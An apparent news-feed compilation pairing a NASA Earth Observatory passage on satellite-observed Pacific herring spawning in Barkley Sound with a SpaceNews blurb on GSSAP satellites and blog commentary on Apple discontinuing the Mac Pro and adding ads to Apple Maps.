Spawns near Forbes Island have been observed most years since the 1970s, according to Fisheries and Oceans Canada (DFO) records. “Herrings prefer spawning locations that are more protected, have rocky substrate, and allow them to select areas with reduced salinity,” said Jessica Moffatt, biologist with the Island Marine Aquatic Working Group (IMAWG), which works to strengthen First Nations fisheries through traditional knowledge, modern science, and management guidance. “Barkley Sound hits the sweet spot” in many of these regards, she said, adding that collective memory, predation pressure, and other factors also play a role in spawn size and location.

Spawning events last from several hours to several days. At Forbes Island in 2026, local observers saw that fish were staging in the area by February 13 (schools can arrive up to two weeks before spawning, Moffatt noted), and activity was reported to IMAWG from February 19 to February 21.

Along with changes in water color, spawns often come with increased wildlife presence, which can include whales and sea lions swimming nearby and eagles, wolves, and bears lurking on shore. After spawning, the fish will migrate back to summer feeding areas in deeper, more nutrient-rich waters, sometimes sticking with their same large school for several years.

Records of spawn activity have historically been constrained by the timing of aerial and dive surveys, the availability of reports from remote locations, and fisheries priorities. But observations by satellites, including Landsat, can help monitor herring activity over larger areas and longer periods of time. Researchers at the University of Victoria in Canada have used decades of satellite observations to augment historical spawn records and develop methods to streamline future detections.

Herring and their roe are valuable both as a cultural food source and harvest practice by First Nations and for British Columbia’s commercial fisheries. As a forage fish species, Pacific herring are vital to salmon and other marine life, and a fuller picture of the locations of spawning areas could provide clues about changes in the marine ecosystem.

NASA Earth Observatory images by Lauren Dauphin, using Landsat data from the U.S. Geological Survey. Photos by Ryan Cutler. Story by Lindsey Doermann.

References & Resources

• California Marine Species Portal (2024) Pacific Herring Enhanced Status Report. Accessed March 26, 2026.
• CBC (2026, February 25) First signs of herring spawn spark excitement on Vancouver Island. Accessed March 26, 2026.
• Fisheries and Oceans Canada (2026, January 20) Pacific herring fisheries. Accessed March 26, 2026.
• Ha-Shilth-Sa (2024, November 29) No commercial catch in 2025, despite herring population growth, say Ha’wiih – but spawn-on-kelp being explored. Accessed March 26, 2026.
• IMAWG (2026) Island Marine Aquatic Working Group. Accessed March 26, 2026.
• Island Marine Aquatic Working Group, via Facebook (2026) Pacific Herring Spawn Reporting – IMAWG. Accessed March 26, 2026.
• NASA Earth Observatory (2025, May 5) Spawning Spectacle. Accessed March 26, 2026.
• Spectral and Remote Sensing Laboratory, University of Victoria, Herring Spawn Habitat: Spatiotemporal analysis of historical spawning sites using satellite remote sensing. Accessed March 26, 2026.

The post Satellite Spots a Spawn appeared first on NASA Science.

Commercial space tracking data shows U.S. satellites coordinating maneuvers to maintain proximity and continuous observation of a pair of Chinese spacecraft in geostationary orbit.

The post U.S. GSSAP satellites execute GEO handoff to monitor China’s Shijian-29 spacecraft appeared first on SpaceNews.

Chance Miller with a big scoop at 9to5Mac:

It’s the end of an era: Apple has confirmed to 9to5Mac that the Mac Pro is being discontinued. It has been removed from Apple’s website as of Thursday afternoon. The “buy” page on Apple’s website for the Mac Pro now redirects to the Mac’s homepage, where all references have been removed.

Apple has also confirmed to 9to5Mac that it has no plans to offer future Mac Pro hardware.

The Mac Pro has lived many lives over the years. Apple released the current Mac Pro industrial design in 2019 alongside the Pro Display XDR (which was also discontinued earlier this month). That version of the Mac Pro was powered by Intel, and Apple refreshed it with the M2 Ultra chip in June 2023. It has gone without an update since then, languishing at its $6,999 price point even as Apple debuted the M3 Ultra chip in the Mac Studio last year.

In the PowerPC era, the high-end Mac desktops were called Power Macs and the pro laptops were PowerBooks. With the transition to Intel CPUs in 2006, Apple changed the names to Mac Pro and MacBook Pro. But unlike the MacBook Pro — which has seen major revisions every few years and satisfying speed bumps on a regular basis, and which has thrived in the Apple Silicon era — the Mac Pro petered out after a few years.

After its 2006 introduction, there were speed bumps in 2008, 2009, 2010, and lastly — sort of — in 2012. So far so good. (The “sort of” two sentences back refers to the fact that the 2012 “update” was very minor, arguably closer to a price cut than a speed bump.) But then came the cylindrical “trash can” Mac Pro in 2013. Perhaps the fact that Apple pre-announced it at WWDC in June before releasing it in October put a curse on the name. The cylindrical Mac Pro was never updated, and Apple being Apple, where the price is part of the product’s brand, they never dropped the price either. This culminated in a small “roundtable” discussion I was invited to in 2017, where Phil Schiller and Craig Federighi laid out Apple’s plans for the future of pro Mac desktops. Step one was the iMac Pro, a remarkable machine but a one-off, that arrived in December 2017. Then came the rejuvenated Mac Pro in 2019, the last Intel-based model and the first with the fancy drilled-hole aluminum tower enclosure. After that, there was only one revision: the M2 Ultra model in June 2023.

So after 2012 — and arguably after 2010 — there was one trash can Mac Pro in 2013, one Intel “new tower” Mac Pro in 2019, and one Apple Silicon Mac Pro in 2023. No speed bumps in between any of them. Three revisions in the last 14 years. So, yeah, not a big shock that they’re just pulling the plug officially.

Apple Newsroom:

Beginning this summer in the U.S. and Canada, businesses will have a new way to be discovered by using Apple Business to create ads on Maps. Ads on Maps will appear when users search in Maps, and can appear at the top of a user’s search results based on relevance, as well as at the top of a new Suggested Places experience in Maps, which will display recommendations based on what’s trending nearby, the user’s recent searches, and more. Ads will be clearly marked to ensure transparency for Maps users.

Ads on Maps builds on Apple’s broader privacy-first approach to advertising, and maintains the same privacy protections Maps users enjoy today. A user’s location and the ads they see and interact with in Maps are not associated with a user’s Apple Account. Personal data stays on a user’s device, is not collected or stored by Apple, and is not shared with third parties.

The privacy angle is good. I don’t want to take that for granted, because few, if any, of Apple’s $1-trillion-plus market cap peers have such devotion to user privacy.

But more and more it’s becoming clear that while Apple’s devotion to protecting user privacy remains as high as ever, their devotion to delivering the best possible user experience does not. Here’s Apple’s own screenshot showing what these ads are supposedly going to look like. It looks fine. But these ads seem highly unlikely to make the overall experience of using Apple Maps better. Perhaps, in practice, they will not make the experience worse, and it’ll be a wash. But I can’t help but suspect that they’re going to make the experience worse, and the question is really just how much worse. The addition of ads to the App Store unquestionably has made the experience worse.

We shall see. I’m not going to prejudge the actual experience, and you shouldn’t either. I also do not begrudge Apple for wanting to monetize Maps. But if the addition of ads does make the Apple Maps experience worse, why won’t Apple let us buy our way out of seeing them? Netflix doesn’t force us to watch their ads. YouTube Premium is arguably the best bang-for-the-buck in the entire world of content subscriptions. Why should Apple One subscribers still see these ads in Apple Maps?